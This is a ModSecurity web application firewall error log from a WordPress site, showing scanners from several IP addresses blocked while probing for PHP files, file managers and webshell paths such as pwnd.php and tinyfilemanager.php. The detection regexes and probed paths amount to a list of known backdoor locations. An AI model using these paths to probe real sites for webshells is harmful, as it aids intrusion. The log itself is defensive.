[Sat Feb 28 21:30:26.084141 2026] [:error] [pid 39183:tid 39194] [client 40.85.222.96:49701] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aaLt8hCf4HvhVePw3LZRjgAAAAI"]
[Sat Feb 28 21:30:27.335307 2026] [:error] [pid 39183:tid 39196] [client 40.85.222.96:50237] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaLt8xCf4HvhVePw3LZRkwAAAAQ"]
[Sat Feb 28 21:30:28.604300 2026] [:error] [pid 39183:tid 39201] [client 40.85.222.96:62259] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaLt9BCf4HvhVePw3LZRnwAAAAk"]
[Sat Feb 28 21:30:29.437711 2026] [:error] [pid 39183:tid 39211] [client 40.85.222.96:62297] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaLt9RCf4HvhVePw3LZRrAAAABM"]
[Sat Feb 28 21:30:30.761431 2026] [:error] [pid 49763:tid 49781] [client 40.85.222.96:62241] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaLt9rTHSOG_yf2PpqF5ywAAAc8"]
[Sat Feb 28 21:30:32.140310 2026] [:error] [pid 52460:tid 52468] [client 40.85.222.96:62273] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aaLt-LLWOogAgHGh62SRCwAAAYU"]
[Sat Feb 28 21:30:33.349059 2026] [:error] [pid 39292:tid 39308] [client 40.85.222.96:62299] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aaLt-aIAO5fN7BxyqcGCFAAAAM4"]
[Sat Feb 28 21:30:35.228681 2026] [:error] [pid 39292:tid 39317] [client 40.85.222.96:62318] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aaLt-6IAO5fN7BxyqcGCHgAAANc"]
[Sat Feb 28 21:30:36.441958 2026] [:error] [pid 39292:tid 39310] [client 40.85.222.96:62314] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aaLt_KIAO5fN7BxyqcGCJAAAANA"]
[Sat Feb 28 21:30:37.114405 2026] [:error] [pid 52460:tid 52469] [client 40.85.222.96:50201] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaLt_bLWOogAgHGh62SRHwAAAYY"]
[Sat Feb 28 21:30:37.817205 2026] [:error] [pid 49763:tid 49790] [client 40.85.222.96:51647] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaLt_bTHSOG_yf2PpqF5-gAAAdg"]
[Sat Feb 28 21:30:38.373487 2026] [:error] [pid 52460:tid 52465] [client 40.85.222.96:49720] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaLt_rLWOogAgHGh62SRIgAAAYI"]
[Sat Feb 28 21:30:39.532170 2026] [:error] [pid 52460:tid 52463] [client 40.85.222.96:62324] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aaLt_7LWOogAgHGh62SRJQAAAYA"]
[Sat Feb 28 21:30:40.111824 2026] [:error] [pid 39183:tid 39204] [client 40.85.222.96:62236] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/my.php"] [unique_id "aaLuABCf4HvhVePw3LZR0gAAAAw"]
[Sat Feb 28 21:30:42.095140 2026] [:error] [pid 39183:tid 39204] [client 40.85.222.96:49673] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/my.php"] [unique_id "aaLuAhCf4HvhVePw3LZR5wAAAAw"]
[Sat Feb 28 21:30:43.719344 2026] [:error] [pid 39183:tid 39208] [client 40.85.222.96:62308] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/my.php"] [unique_id "aaLuAxCf4HvhVePw3LZR9wAAABA"]
[Sat Feb 28 21:30:44.593549 2026] [:error] [pid 52460:tid 52466] [client 40.85.222.96:50214] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/my.php"] [unique_id "aaLuBLLWOogAgHGh62SRQAAAAYM"]
[Sat Feb 28 21:30:45.406119 2026] [:error] [pid 39184:tid 39226] [client 40.85.222.96:49689] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaLuBVtZF9Zd_U7easDIvwAAAEc"]
[Sat Feb 28 21:30:46.140591 2026] [:error] [pid 49763:tid 49778] [client 40.85.222.96:50177] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaLuBrTHSOG_yf2PpqF6PAAAAcw"]
[Sat Feb 28 21:30:47.284636 2026] [:error] [pid 49763:tid 49770] [client 40.85.222.96:51600] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaLuB7THSOG_yf2PpqF6TQAAAcQ"]
[Sat Feb 28 21:30:48.354986 2026] [:error] [pid 49763:tid 49779] [client 40.85.222.96:62332] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaLuCLTHSOG_yf2PpqF6TwAAAc0"]
[Sat Feb 28 21:30:49.268317 2026] [:error] [pid 39183:tid 39209] [client 40.85.222.96:50228] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lp6.php"] [unique_id "aaLuCRCf4HvhVePw3LZSBgAAABE"]
[Sat Feb 28 21:30:50.925967 2026] [:error] [pid 39185:tid 39255] [client 40.85.222.96:50219] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lp6.php"] [unique_id "aaLuChVE-FfM89u7BQalHgAAAIk"]
[Sat Feb 28 21:30:52.508477 2026] [:error] [pid 49763:tid 49781] [client 40.85.222.96:49768] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lp6.php"] [unique_id "aaLuDLTHSOG_yf2PpqF6XQAAAc8"]
[Sat Feb 28 21:30:53.608055 2026] [:error] [pid 39185:tid 39246] [client 40.85.222.96:62262] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lp6.php"] [unique_id "aaLuDRVE-FfM89u7BQalIwAAAIA"]
[Sat Feb 28 21:30:54.329068 2026] [:error] [pid 52460:tid 52466] [client 40.85.222.96:49776] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-4doption1.php"] [unique_id "aaLuDrLWOogAgHGh62SRaQAAAYM"]
[Sat Feb 28 21:30:55.543779 2026] [:error] [pid 39184:tid 39221] [client 40.85.222.96:51623] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-4doption1.php"] [unique_id "aaLuD1tZF9Zd_U7easDI7AAAAEI"]
[Sat Feb 28 21:30:56.401168 2026] [:error] [pid 39183:tid 39199] [client 40.85.222.96:62265] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-4doption1.php"] [unique_id "aaLuEBCf4HvhVePw3LZSHgAAAAc"]
[Sat Feb 28 21:30:57.170356 2026] [:error] [pid 11791:tid 11794] [client 40.85.222.96:51617] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-4doption1.php"] [unique_id "aaLuEWuX5e1Q32gqxH3JvQAAAQE"]
[Sat Feb 28 21:46:34.560751 2026] [:error] [pid 39184:tid 39242] [client 192.144.148.122:55678] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaLxultZF9Zd_U7easDSaQAAAFc"]
[Sat Feb 28 22:04:08.973956 2026] [:error] [pid 52460:tid 52481] [client 45.86.200.217:32011] [client 45.86.200.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaL12LLWOogAgHGh62SsYQAAAZI"]
[Sat Feb 28 22:04:14.844467 2026] [:error] [pid 49763:tid 49774] [client 45.86.200.247:21787] [client 45.86.200.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaL13rTHSOG_yf2PpqGtwgAAAcg"]
[Sat Feb 28 22:04:26.599293 2026] [:error] [pid 52460:tid 52476] [client 185.82.72.104:48415] [client 185.82.72.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aaL16rLWOogAgHGh62SskQAAAY0"]
[Sat Feb 28 22:04:32.782018 2026] [:error] [pid 39292:tid 39316] [client 185.82.72.103:53539] [client 185.82.72.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aaL18KIAO5fN7BxyqcGPpAAAANY"]
[Sat Feb 28 22:04:43.609983 2026] [:error] [pid 39292:tid 39304] [client 45.86.200.227:52341] [client 45.86.200.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaL1-6IAO5fN7BxyqcGPtAAAAMo"]
[Sat Feb 28 22:04:46.382770 2026] [:error] [pid 49763:tid 49776] [client 45.86.200.224:55651] [client 45.86.200.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaL1_rTHSOG_yf2PpqGuBwAAAco"]
[Sat Feb 28 22:04:47.147194 2026] [:error] [pid 49763:tid 49788] [client 45.86.200.238:32539] [client 45.86.200.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaL1_7THSOG_yf2PpqGuCwAAAdY"]
[Sat Feb 28 22:04:47.774988 2026] [:error] [pid 49763:tid 49782] [client 185.82.72.10:60285] [client 185.82.72.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaL1_7THSOG_yf2PpqGuDgAAAdA"]
[Sat Feb 28 22:04:48.513145 2026] [:error] [pid 39184:tid 39236] [client 185.82.72.108:45519] [client 185.82.72.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaL2AFtZF9Zd_U7easDbrAAAAFE"]
[Sat Feb 28 22:04:49.337899 2026] [:error] [pid 39183:tid 39200] [client 45.86.200.213:20895] [client 45.86.200.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaL2ARCf4HvhVePw3LZ2PgAAAAg"]
[Sat Feb 28 22:04:51.260655 2026] [:error] [pid 49763:tid 49769] [client 185.82.72.111:61197] [client 185.82.72.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaL2A7THSOG_yf2PpqGuEgAAAcM"]
[Sat Feb 28 22:04:54.259425 2026] [:error] [pid 39183:tid 39199] [client 45.86.200.244:36099] [client 45.86.200.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aaL2BhCf4HvhVePw3LZ2WQAAAAc"]
[Sat Feb 28 22:04:58.765793 2026] [:error] [pid 39183:tid 39200] [client 185.82.72.103:51215] [client 185.82.72.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaL2ChCf4HvhVePw3LZ2aAAAAAg"]
[Sat Feb 28 22:05:00.843575 2026] [:error] [pid 52460:tid 52473] [client 45.86.200.250:36719] [client 45.86.200.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaL2DLLWOogAgHGh62Ss0gAAAYo"]
[Sat Feb 28 22:05:03.662595 2026] [:error] [pid 52460:tid 52478] [client 185.82.72.106:32695] [client 185.82.72.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaL2D7LWOogAgHGh62Ss3QAAAY8"]
[Sat Feb 28 22:05:14.605066 2026] [:error] [pid 39292:tid 39311] [client 185.82.72.106:40829] [client 185.82.72.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaL2GqIAO5fN7BxyqcGPywAAANE"]
[Sat Feb 28 22:05:17.282895 2026] [:error] [pid 39183:tid 39194] [client 45.86.200.242:25399] [client 45.86.200.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaL2HRCf4HvhVePw3LZ2kAAAAAI"]
[Sat Feb 28 22:05:22.026307 2026] [:error] [pid 11791:tid 11808] [client 45.86.200.246:53785] [client 45.86.200.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/defaults.php"] [unique_id "aaL2ImuX5e1Q32gqxH3UXAAAAQ8"]
[Sat Feb 28 22:05:24.923310 2026] [:error] [pid 52460:tid 52464] [client 185.82.72.206:60357] [client 185.82.72.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aaL2JLLWOogAgHGh62StBQAAAYE"]
[Sat Feb 28 22:05:32.692346 2026] [:error] [pid 39292:tid 39304] [client 45.86.200.222:27529] [client 45.86.200.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaL2LKIAO5fN7BxyqcGP8AAAAMo"]
[Sat Feb 28 22:05:35.408425 2026] [:error] [pid 49763:tid 49780] [client 45.86.200.213:57459] [client 45.86.200.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaL2L7THSOG_yf2PpqGuzQAAAc4"]
[Sat Feb 28 22:05:38.165166 2026] [:error] [pid 49763:tid 49788] [client 45.86.200.215:23995] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaL2MrTHSOG_yf2PpqGu9QAAAdY"]
[Sat Feb 28 22:05:38.844823 2026] [:error] [pid 39292:tid 39317] [client 185.82.72.103:61337] [client 185.82.72.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaL2MqIAO5fN7BxyqcGP9QAAANc"]
